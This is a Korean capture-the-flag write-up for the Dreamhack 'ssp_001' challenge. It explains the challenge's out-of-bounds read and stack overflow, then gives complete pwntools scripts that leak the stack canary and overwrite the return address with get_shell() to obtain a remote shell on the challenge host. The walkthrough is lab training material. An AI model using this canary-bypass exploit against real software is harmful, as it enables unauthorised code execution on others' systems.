SSP 개념
ssp_001
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void get_shell() {
system("/bin/sh");
}
void print_box(unsigned char *box, int idx) {
printf("Element of index %d is : %02x\n", idx, box[idx]);
}
void menu() {
puts("[F]ill the box");
puts("[P]rint the box");
puts("[E]xit");
printf("> ");
}
int main(int argc, char *argv[]) {
unsigned char box[0x40] = {};
char name[0x40] = {};
char select[2] = {};
int idx = 0, name_len = 0;
initialize();
while(1) {
menu();
read(0, select, 2);
switch( select[0] ) {
case 'F':
printf("box input : ");
read(0, box, sizeof(box));
break;
case 'P':
printf("Element index : ");
scanf("%d", &idx);
print_box(box, idx);
break;
case 'E':
printf("Name Size : ");
scanf("%d", &name_len);
printf("Name : ");
read(0, name, name_len);
return 0;
default:
break;
}
}
}
box, name, select
배열과idx, name_len
변수를 선언함F, P, E
중에 메뉴 선택F
인 경우- 0x40 바이크 크기의 입력값을 받고 box에 저장
P
인 경우- idx를 입력받고
print_box()
로box[idx]
로 부터 2바이트 만큼 데이터를 출력
- idx를 입력받고
E
인 경우name_len
을 입력받고name_len
길이만큼 입력값을 받아서 name에 저장
코드에서 확인할 수 있는 취약점
P
인 경우- idx에 대한 제한이 없다. 따라서 idx를 0x40 이상으로 입력하면
box[0x40]
영역을 벗어나는 메모리 영역을 leak 할 수 있다.
- idx에 대한 제한이 없다. 따라서 idx를 0x40 이상으로 입력하면
E
인 경우name_len
제한이 없다. 따라서 name에서 BOF가 발생한다.
취약점을 종합한 공격 시나리오는 다음과 같다.
P
로 canary leakE
로 BOF 트리거- 1)에서 구한 canary를 토대로
stack guard
를 우회하고 RET을get_shell()
로 덮는다.
0x0804872b <+0>: push ebp
0x0804872c <+1>: mov ebp,esp
0x0804872e <+3>: push edi
0x0804872f <+4>: sub esp,0x94
0x08048735 <+10>: mov eax,DWORD PTR [ebp+0xc]
0x08048738 <+13>: mov DWORD PTR [ebp-0x98],eax
0x0804873e <+19>: mov eax,gs:0x14
0x08048744 <+25>: mov DWORD PTR [ebp-0x8],eax
canary 위치를 파악해보자.
<main+19>
에서 gs:0x14
로부터 canary을 가져와서 eax에 저장 후 [ebp-0x8]
에 저장한다.
void print_box(unsigned char *box, int idx) {
printf("Element of index %d is : %02x\n", idx, box[idx]);
}
....
case 'F':
printf("box input : ");
read(0, box, sizeof(box));
break;
case 'P':
printf("Element index : ");
scanf("%d", &idx);
print_box(box, idx);
break;
box에 임의 값을 입력할 수 있고 임의 idx를 지정해서 box[idx:idx+4]
을 출력한다.
box를 이용해서 canary leak을 수행 할 것이므로 box ~ canary
거리를 알아야 한다.
0x080487cb <+160>: call 0x80484b0 <printf@plt>
0x080487d0 <+165>: add esp,0x4
0x080487d3 <+168>: push 0x40
0x080487d5 <+170>: lea eax,[ebp-0x88]
0x080487db <+176>: push eax
0x080487dc <+177>: push 0x0
0x080487de <+179>: call 0x80484a0 <read@plt>
F
를 입력했을 때 실행되는 코드다.
case 'F':
printf("box input : ");
read(0, box, sizeof(box));
break;
read()
의 2번째 인자로 box
주소가 사용된 것을 알 수 있다. read()
의 2번째 인자에 대한 부분은 asm 코드에서 <main+170>
이다.
- 즉,
[ebp-0x88]
위치가box
주소다.
지금까지 얻은 정보를 정리하면 다음과 같다.
[box addr] => [ebp-0x88]
[canary addr] => [ebp-0x8]
box ~ canary
거리는 0x80
이므로 0x80 = 128
이다.
box의 128
번째 인덱스를 leak하면 canary를 얻을 수 있다.
from pwn import *
canary="0x"
p = remote('host3.dreamhack.games',16984)
def menu(v):
global p
p.recvuntil("> ")
p.sendline(v)
def print_box(index):
global canary
global p
p.recvuntil("Element index : ")
p.sendline(index)
p.recvuntil(": ")
canary += p.recv(2).decode()
for i in range(131,127,-1):
menu("P")
print_box(str(i))
print('[*] canary :',canary)
canary를 leak하는 코드다.
box를 시작으로 128~131
번째 인덱스를 차례대로 얻고 변수에 저장해서 출력한다.
- canary는 4바이트이므로
128~131
인덱스를 leak 했다.
코드를 실행하면 canary를 구할 수 있다.
다음으로 payload를 구성하고 exploit을 수행하자.
먼저, RET을 덮을 get_shell()
주소를 구하자.
pwndbg> p get_shell
$2 = {<text variable, no debug info>} 0x80486b9 <get_shell>
다음으로 name의 위치를 파악해야 한다.
0x0804884a <+287>: call 0x80484b0 <printf@plt>
0x0804884f <+292>: add esp,0x4
0x08048852 <+295>: mov eax,DWORD PTR [ebp-0x90]
0x08048858 <+301>: push eax
0x08048859 <+302>: lea eax,[ebp-0x48]
0x0804885c <+305>: push eax
0x0804885d <+306>: push 0x0
0x0804885f <+308>: call 0x80484a0 <read@plt>
E
를 입력했을 때 실행되는 코드다.
case 'E':
printf("Name Size : ");
scanf("%d", &name_len);
printf("Name : ");
read(0, name, name_len);
return 0;
read()
의 2번째 인자로 name
을 넣고 있는데, 2번째 인자의 위치가 <main+302>
에서 나오는 [ebp-0x48]
임을 알 수 있다.
- 즉, name의 위치는
[ebp-0x48]
이고name ~ canary
거리는0x48 - 0x8 = 0x40
이다.
얻은 정보를 토대로 payload를 구성해보자.
"\x90"*0x40+[canary]+"\x90"*0x8+[get_shell() addr]
0x40 만큼 NOP Sled
를 추가하고 canary를 붙였다.
canary 위치가 [ebp-8]
이므로 메모리 구조는 다음과 같다.
name + canary(4바이트) + dummy (4바이트) +SFP (4바이트) + RET
따라서 0x8만큼 NOP Sled
를 추가하고 RET을 get_shell()
주소로 덮었다.
exploit
from pwn import *
import warnings
warnings.filterwarnings( 'ignore' )
canary = "0x"
p = remote('host3.dreamhack.games',21289)
def log(a, b):
return success(f"{a}: {b}")
def menu(v):
global p
p.recvuntil("> ")
p.sendline(v)
def print_box(index):
global canary
global p
p.recvuntil("Element index : ")
p.sendline(index)
p.recvuntil(": ")
canary += p.recv(2).decode()
def exploit(leng, payload):
global p
p.recvuntil("Name Size : ")
p.sendline(leng)
p.recvuntil("Name : ")
p.sendline(payload)
for i in range(131,127,-1):
menu("P")
print_box(str(i))
log("canary",canary)
payload = b"\x90"*0x40 + p32(int(canary,16)) + b"\x90"*0x8 + p32(0x80486b9)
menu("E")
exploit("120",payload)
p.interactive()